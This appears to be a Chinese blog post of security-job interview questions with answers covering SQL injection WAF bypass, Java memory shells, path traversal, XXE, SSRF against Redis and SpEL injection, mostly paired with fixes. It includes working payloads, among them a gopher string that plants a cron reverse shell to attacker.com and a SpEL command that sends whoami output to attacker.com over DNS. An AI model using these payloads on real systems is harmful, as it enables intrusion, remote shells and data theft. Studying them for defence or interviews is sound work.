绿盟春招面试题

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

题目1:某WAF拦截了UNION SELECTinformation_schema,如何获取数据库名?
答案

  • 替代information_schema:使用sys.schema_auto_increment_columns(MySQL 5.6+);

  • 绕过UNION:利用报错注入或布尔盲注;

  • Payload示例:

' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

修复方案:使用ORM框架+参数化查询,禁用错误回显。

题目2:如何在Java反序列化漏洞中注入内存马(如Tomcat Filter型)?
答案

  1. 构造恶意Filter类:动态注册Filter,映射到/*路径;

  2. 利用反序列化链(如CC6)加载字节码(URLClassLoader或BCEL);

  3. 通过JRMP或HTTP服务传输恶意类;

  4. 触发Filter的doFilter方法执行命令。
    检测工具:Java内存马扫描工具(如scFox)。


题目3:某文件下载接口存在路径遍历漏洞(filename=../../etc/passwd),如何进一步利用实现RCE?
答案

  1. 查找Web根目录的可写路径(如/tmp、上传目录);

  2. 上传恶意文件(如JSP Webshell)到可写目录;

  3. 结合文件包含、反序列化等漏洞触发执行;

  4. 或覆盖敏感配置文件(如.htaccess)。
    修复方案:规范化路径,禁用动态文件名拼接。

题目4:某系统通过URL参数控制权限(如/admin?role=admin),如何绕过并访问管理后台?
答案

  • 参数污染:/admin?role=user&role=admin

  • 修改请求方法:GET改为POST或PUT;

  • 伪静态路径:/admin/../user/admin

  • HTTP头注入:X-Forwarded-For: 127.0.0.1
    修复方案:后端校验用户角色,而非依赖前端参数。

题目5:审计以下XML解析代码,指出漏洞及修复方案:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);  

答案

  • 漏洞:未禁用外部实体解析,导致XXE;

  • 利用:读取本地文件(<!ENTITY xxe SYSTEM "file:///etc/passwd">);

  • 修复

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

题目6:如何通过SSRF漏洞攻击内网Redis未授权访问?
答案

  1. 利用Gopher协议构造Redis命令:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/443 0>&1%0a%0a%0a%0d%0aquit%0d%0a
  1. 写入定时任务或SSH密钥;
    修复方案:禁用非常用协议(如Gopher),限制请求目标IP。

题目7:某系统使用SpEL表达式处理用户输入,如何利用T(java.lang.Runtime).exec()实现无回显RCE?
答案

  • DNS外带数据

T(java.lang.Runtime).exec('curl ${urlencode("; whoami | xxd -p -c 32 | tr -d '\n' | xargs -I{} dig {}.attacker.com")}')
  • 修复方案:使用SimpleEvaluationContext替代StandardEvaluationContext

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mingzhi61

你的打赏,是我创造最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值